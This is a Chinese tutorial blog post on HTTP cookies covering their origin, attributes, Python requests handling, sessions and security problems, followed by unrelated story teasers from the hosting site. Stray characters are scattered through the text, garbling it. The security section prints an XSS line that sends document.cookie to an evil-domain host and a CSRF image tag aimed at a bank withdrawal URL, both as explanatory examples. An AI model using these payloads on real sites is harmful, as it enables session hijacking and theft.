必須掌握的Cookie知識點都在這里

來自公眾號:裸睡的豬

相信很多同學(xué)肯定聽過Cookie這個東西艳丛,也大概了解其作用,但是其原理以及如何設(shè)置膀捷,可能沒有做過web的同學(xué)并不是非常清楚关噪,那今天豬哥就帶大家詳細(xì)了解下Cookie相關(guān)的知識骑篙!

一蜕提、誕生背景

爬蟲系列教程的第一篇:HTTP詳解中我們便說過HTTP的五大特點,而其中之一便是:無狀態(tài)

HTTP無狀態(tài):服務(wù)器無法知道兩個請求是否來自同一個瀏覽器靶端,即服務(wù)器不知道用戶上一次做了什么贯溅,每次請求都是完全相互獨立。

早期互聯(lián)網(wǎng)只是用于簡單的瀏覽文檔信息躲查、查看黃頁它浅、門戶網(wǎng)站等等,并沒有交互這個說法镣煮。但是隨著互聯(lián)網(wǎng)慢慢發(fā)展姐霍,寬帶、服務(wù)器等硬件設(shè)施已經(jīng)得到很大的提升典唇,互聯(lián)網(wǎng)允許人們可以做更多的事情镊折,所以交互式Web慢慢興起,而HTTP無狀態(tài)的特點卻嚴(yán)重阻礙其發(fā)展介衔!

交互式Web:客戶端與服務(wù)器可以互動恨胚,如用戶登錄,購買商品炎咖,各種論壇等等

不能記錄用戶上一次做了什么赃泡,怎么辦寒波?聰明的程序員們就開始思考:怎么樣才能記錄用戶上一次的操作信息呢?于是有人就想到了隱藏域升熊。

隱藏域?qū)懛ǎ?code><input type="hidden" name="field_name" value="value">

這樣把用戶上一次操作記錄放在form表單的input中俄烁,這樣請求時將表單提交不就知道上一次用戶的操作,但是這樣每次都得創(chuàng)建隱藏域而且得賦值太麻煩级野,而且容易出錯页屠!

ps:隱藏域作用強(qiáng)大,時至今日都有很多人在用它解決各種問題蓖柔!

網(wǎng)景公司當(dāng)時一名員工Lou Montulli(盧-蒙特利)辰企,在1994年將“cookies”的概念應(yīng)用于網(wǎng)絡(luò)通信,用來解決用戶網(wǎng)上購物的購物車歷史記錄况鸣,而當(dāng)時最強(qiáng)大的瀏覽器正是網(wǎng)景瀏覽器牢贸,在網(wǎng)景瀏覽器的支持下其他瀏覽器也漸漸開始支持Cookie,到目前所有瀏覽器都支持Cookie了

image

二懒闷、Cookie是什么

前面我們已經(jīng)知道了Cookie的誕生是為了解決HTTP無狀態(tài)的特性無法滿足交互式web,那它究竟是什么呢栈幸?

image

上圖是在Chrome瀏覽器中的百度首頁的Cookies(Cookie的復(fù)數(shù)形式)愤估,在表格中,每一行都代表著一個Cookie速址,所以我們來看看Cookie的定義吧玩焰!

Cookie是由服務(wù)器發(fā)給客戶端的特殊信息,而這些信息以文本文件的方式存放在客戶端芍锚,然后客戶端每次向服務(wù)器發(fā)送請求的時候都會帶上這些特殊的信息昔园,用于服務(wù)器記錄客戶端的狀態(tài)。

Cookie主要用于以下三個方面:

  1. 會話狀態(tài)管理(如用戶登錄狀態(tài)并炮、購物車默刚、游戲分?jǐn)?shù)或其它需要記錄的信息)

  2. 個性化設(shè)置(如用戶自定義設(shè)置、主題等)

  3. 瀏覽器行為跟蹤(如跟蹤分析用戶行為等)

三逃魄、Cookie原理

我們在了解了Cookie是由服務(wù)器發(fā)出存儲在瀏覽器的特殊信息荤西,那具體是怎么樣的一個過程呢?為了大家便于理解伍俘,豬哥就以用戶登錄為例子為大家畫了一幅Cookie原理圖

image

用戶在輸入用戶名和密碼之后邪锌,瀏覽器將用戶名和密碼發(fā)送給服務(wù)器,服務(wù)器進(jìn)行驗證癌瘾,驗證通過之后將用戶信息加密后封裝成Cookie放在請求頭中返回給瀏覽器觅丰。

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly

[響應(yīng)體]

瀏覽器收到服務(wù)器返回數(shù)據(jù),發(fā)現(xiàn)請求頭中有一個:Set-Cookie妨退,然后它就把這個Cookie保存起來妇萄,下次瀏覽器再請求服務(wù)器的時候蜕企,會把Cookie也放在請求頭中傳給服務(wù)器:

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg

服務(wù)器收到請求后從請求頭中拿到cookie,然后解析并到用戶信息嚣伐,說明此用戶已登錄糖赔,Cookie是將數(shù)據(jù)保存在客戶端的

這里我們可以看到轩端,用戶信息是保存在Cookie中放典,也就相當(dāng)于是保存在瀏覽器中,那就說用戶可以隨意修改用戶信息基茵,這是一種不安全的策略奋构!

強(qiáng)調(diào)一點:****Cookie無論是服務(wù)器發(fā)給瀏覽器還是瀏覽器發(fā)給服務(wù)器,都是放在請求頭中的拱层!

四弥臼、Cookie屬性

下圖中我們可以看到一個Cookie有:Name、Value根灯、Domain径缅、Path呵萨、Expires/Max-Age硕并、Size、HTTP右莱、Secure這些屬性桃笙,那這些屬性分別都有什么作用呢氏堤?我們來看看

image

1、Name&Value

Name表示Cookie的名稱搏明,服務(wù)器就是通過name屬性來獲取某個Cookie值鼠锈。

Value表示Cookie 的值,大多數(shù)情況下服務(wù)器會把這個value當(dāng)作一個key去緩存中查詢保存的數(shù)據(jù)星著。

2购笆、Domain&Path

Domain表示可以訪問此cookie的域名,下圖我們以百度貼吧頁的Cookie來講解一下Domain屬性虚循。

image

從上圖中我們可以看出domain有:.baidu.com 頂級域名和.teiba.baidu.com的二級域名由桌,所以這里就會有一個訪問規(guī)則:頂級域名只能設(shè)置或訪問頂級域名的Cookie,二級及以下的域名只能訪問或設(shè)置自身或者頂級域名的Cookie邮丰,所以如果要在多個二級域名中共享Cookie的話行您,只能將Domain屬性設(shè)置為頂級域名!

Path表示可以訪問此cookie的頁面路徑剪廉。比如path=/test娃循,那么只有/test路徑下的頁面可以讀取此cookie。

3斗蒋、Expires/Max-Age

Expires/Max-Age表示此cookie超時時間捌斧。若設(shè)置其值為一個時間笛质,那么當(dāng)?shù)竭_(dá)此時間后,此cookie失效捞蚂。不設(shè)置的話默認(rèn)值是Session妇押,意思是cookie會和session一起失效。當(dāng)瀏覽器關(guān)閉(不是瀏覽器標(biāo)簽頁姓迅,而是整個瀏覽器) 后敲霍,此cookie失效。

提示:****當(dāng)Cookie的過期時間被設(shè)定時丁存,設(shè)定的日期和時間只與客戶端相關(guān)肩杈,而不是服務(wù)端。

4解寝、Size

Size表示Cookie的name+value的字符數(shù)扩然,比如有一個Cookie:id=666,那么Size=2+3=5 聋伦。

另外每個瀏覽器對Cookie的支持都不相同

image

5夫偶、HTTP

HTTP表示cookie的httponly屬性。若此屬性為true觉增,則只有在http請求頭中會帶有此cookie的信息兵拢,而不能通過document.cookie來訪問此cookie。

image

設(shè)計該特征意在提供一個安全措施來幫助阻止通過Javascript發(fā)起的跨站腳本攻擊(XSS)竊取cookie的行為

6抑片、Secure

Secure表示是否只能通過https來傳遞此條cookie卵佛。不像其它選項杨赤,該選項只是一個標(biāo)記并且沒有其它的值敞斋。

image

這種cookie的內(nèi)容意指具有很高的價值并且可能潛在的被破解以純文本形式傳輸。

五疾牲、Python操作Cookie

1植捎、生成Cookie

前面我們說過Cookie是由服務(wù)端生成的,那如何用Python代碼來生成呢阳柔?

image

從上圖登錄代碼中我們看到焰枢,在簡單的驗證用戶名和密碼之后,服務(wù)器跳轉(zhuǎn)到/user舌剂,然后set了一個cookie济锄,瀏覽器收到響應(yīng)后發(fā)現(xiàn)請求頭中有一個:Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg,然后瀏覽器就會將這個Cookie保存起來霍转!

2荐绝、獲取Cookie

最近我們一直在講requests模塊,這里我們就用requests模塊來獲取Cookie避消。

image

r.cookies表示獲取所有cookie低滩,get_dict()函數(shù)表示返回的是字典格式cookie召夹。

3、設(shè)置Cookie

上篇我們爬取優(yōu)酷彈幕的文章中便是用了requests模塊設(shè)置Cookie

image

我們就瀏覽器復(fù)制過來的Cookie放在代碼中恕沫,這樣便可以順利的偽裝成瀏覽器监憎,然后正常爬取數(shù)據(jù),復(fù)制Cookie是爬蟲中常用的一種手段婶溯!

六鲸阔、Session

1、誕生背景

其實在Cookie設(shè)計之初爬虱,并不像豬哥講的那樣Cookie只保存一個key隶债,而是直接保存用戶信息,剛開始大家認(rèn)為這樣用起來很爽跑筝,但是由于cookie 是存在用戶端死讹,而且它本身存儲的尺寸大小也有限,最關(guān)鍵是用戶可以是可見的曲梗,并可以隨意的修改赞警,很不安全。那如何又要安全虏两,又可以方便的全局讀取信息呢愧旦?于是,這個時候定罢,一種新的存儲會話機(jī)制:Session 誕生了笤虫。

2、Session是什么

Session翻譯為會話祖凫,服務(wù)器為每個瀏覽器創(chuàng)建的一個會話對象琼蚯,瀏覽器在第一次請求服務(wù)器,服務(wù)器便會為這個瀏覽器生成一個Session對象惠况,保存在服務(wù)端遭庶,并且把Session的Id以cookie的形式發(fā)送給客戶端瀏覽,而以用戶顯式結(jié)束或session超時為結(jié)束稠屠。

我們來看看Session工作原理:

  1. 當(dāng)一個用戶向服務(wù)器發(fā)送第一個請求時峦睡,服務(wù)器為其建立一個session,并為此session創(chuàng)建一個標(biāo)識號(sessionID)权埠。

  2. 這個用戶隨后的所有請求都應(yīng)包括這個標(biāo)識號(sessionID)榨了。服務(wù)器會校對這個標(biāo)識號以判斷請求屬于哪個session。

對于session標(biāo)識號(sessionID)攘蔽,有兩種方式實現(xiàn):Cookie和URL重寫龙屉,豬哥就以Cookie的實現(xiàn)方式畫一個Session原理圖

image

聯(lián)系cookie原理圖我們可以看到,Cookie是將數(shù)據(jù)直接保存在客戶端秩彤,而Session是將數(shù)據(jù)保存在服務(wù)端叔扼,就安全性來講Session更好事哭!

3、Python操作Session

后面豬哥將會以登錄的例子來講解如何用Python代碼操作Session

七瓜富、面試場景

1鳍咱、Cookie和Session關(guān)系

  1. 都是為了實現(xiàn)客戶端與服務(wù)端交互而產(chǎn)出

  2. Cookie是保存在客戶端,缺點易偽造与柑、不安全

  3. Session是保存在服務(wù)端谤辜,會消耗服務(wù)器資源

  4. Session實現(xiàn)有兩種方式:Cookie和URL重寫

2、Cookie帶來的安全性問題

  1. 會話劫持和XSS:在Web應(yīng)用中价捧,Cookie常用來標(biāo)記用戶或授權(quán)會話丑念。因此,如果Web應(yīng)用的Cookie被竊取结蟋,可能導(dǎo)致授權(quán)用戶的會話受到攻擊脯倚。常用的竊取Cookie的方法有利用社會工程學(xué)攻擊和利用應(yīng)用程序漏洞進(jìn)行XSS攻擊。(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly類型的Cookie由于阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊嵌屎。

  2. 跨站請求偽造(CSRF):維基百科已經(jīng)給了一個比較好的CSRF例子推正。比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行服務(wù)器發(fā)送提現(xiàn)的請求:<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">當(dāng)你打開含有了這張圖片的HTML頁面時宝惰,如果你之前已經(jīng)登錄了你的銀行帳號并且Cookie仍然有效(還沒有其它驗證步驟)植榕,你銀行里的錢很可能會被自動轉(zhuǎn)走。解決CSRF的辦法有:****隱藏域驗證碼尼夺、確認(rèn)機(jī)制尊残、較短的Cookie生命周期等

八、總結(jié)

今天為大家講解了Cookie的相關(guān)知識淤堵,以及如何使用requests模塊操作Cookie寝衫,最后順便提了一下Cookie與Session的關(guān)系以及Cookie存在哪些安全問題。希望大家能對Cookie(小餅干)能有個全面的了解粘勒,這樣對你在今后的爬蟲學(xué)習(xí)中會大有裨益竞端!

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末屎即,一起剝皮案震驚了整個濱河市庙睡,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌技俐,老刑警劉巖乘陪,帶你破解...
    沈念sama閱讀 216,470評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異雕擂,居然都是意外死亡啡邑,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,393評論 3 392
  • 文/潘曉璐 我一進(jìn)店門井赌,熙熙樓的掌柜王于貴愁眉苦臉地迎上來谤逼,“玉大人贵扰,你說我怎么就攤上這事×鞑浚” “怎么了戚绕?”我有些...
    開封第一講書人閱讀 162,577評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長枝冀。 經(jīng)常有香客問我舞丛,道長,這世上最難降的妖魔是什么果漾? 我笑而不...
    開封第一講書人閱讀 58,176評論 1 292
  • 正文 為了忘掉前任球切,我火速辦了婚禮,結(jié)果婚禮上绒障,老公的妹妹穿的比我還像新娘吨凑。我一直安慰自己,他們只是感情好户辱,可當(dāng)我...
    茶點故事閱讀 67,189評論 6 388
  • 文/花漫 我一把揭開白布怀骤。 她就那樣靜靜地躺著,像睡著了一般焕妙。 火紅的嫁衣襯著肌膚如雪蒋伦。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,155評論 1 299
  • 那天焚鹊,我揣著相機(jī)與錄音痕届,去河邊找鬼。 笑死末患,一個胖子當(dāng)著我的面吹牛研叫,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播璧针,決...
    沈念sama閱讀 40,041評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼嚷炉,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了探橱?” 一聲冷哼從身側(cè)響起申屹,我...
    開封第一講書人閱讀 38,903評論 0 274
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎隧膏,沒想到半個月后哗讥,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,319評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡胞枕,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,539評論 2 332
  • 正文 我和宋清朗相戀三年杆煞,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,703評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡决乎,死狀恐怖队询,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情构诚,我是刑警寧澤娘摔,帶...
    沈念sama閱讀 35,417評論 5 343
  • 正文 年R本政府宣布,位于F島的核電站唤反,受9級特大地震影響凳寺,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜彤侍,卻給世界環(huán)境...
    茶點故事閱讀 41,013評論 3 325
  • 文/蒙蒙 一肠缨、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧盏阶,春花似錦晒奕、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,664評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至砰盐,卻和暖如春闷袒,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背岩梳。 一陣腳步聲響...
    開封第一講書人閱讀 32,818評論 1 269
  • 我被黑心中介騙來泰國打工囊骤, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人冀值。 一個月前我還...
    沈念sama閱讀 47,711評論 2 368
  • 正文 我出身青樓也物,卻偏偏與公主長得像,于是被迫代替她去往敵國和親列疗。 傳聞我的和親對象是個殘疾皇子滑蚯,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,601評論 2 353

推薦閱讀更多精彩內(nèi)容

  • 今天我們來全面了解一下Cookie(小餅干)相關(guān)的知識!篇幅有點長抵栈,在學(xué)習(xí)Python的伙伴或者有興趣的你告材,可以耐...
    EchoPython閱讀 216評論 0 0
  • http協(xié)議有http0.9,http1.0竭讳,http1.1和http2三個版本创葡,但是現(xiàn)在瀏覽器使用的是htt...
    一現(xiàn)_閱讀 1,861評論 0 3
  • 為元宵節(jié)藝演喝彩 文/常龍須 (藏頭詩) 為民歡樂到基層浙踢, 瀍綿親情愛百姓绢慢。 龍鳳呈祥小正月, 藝技譽(yù)美...
    龍心須言閱讀 163評論 0 1
  • 侄女二模考試583.5胰舆,我想問一下學(xué)校排名骚露,元媛說了句,你別打擊她了缚窿。 不久前棘幸,侄女來我家吃餛飩,我就和她聊了幾句...
    伊人檸檬草閱讀 266評論 0 0
  • 已是初冬倦零,寒意漸濃误续。城里人自然是不用怕的,集中供暖的生活享受扫茅,讓人們感受不到寒氣侵骨的滋味蹋嵌。我現(xiàn)如今也算是城里人吧...
    蒼穹心路閱讀 405評論 0 1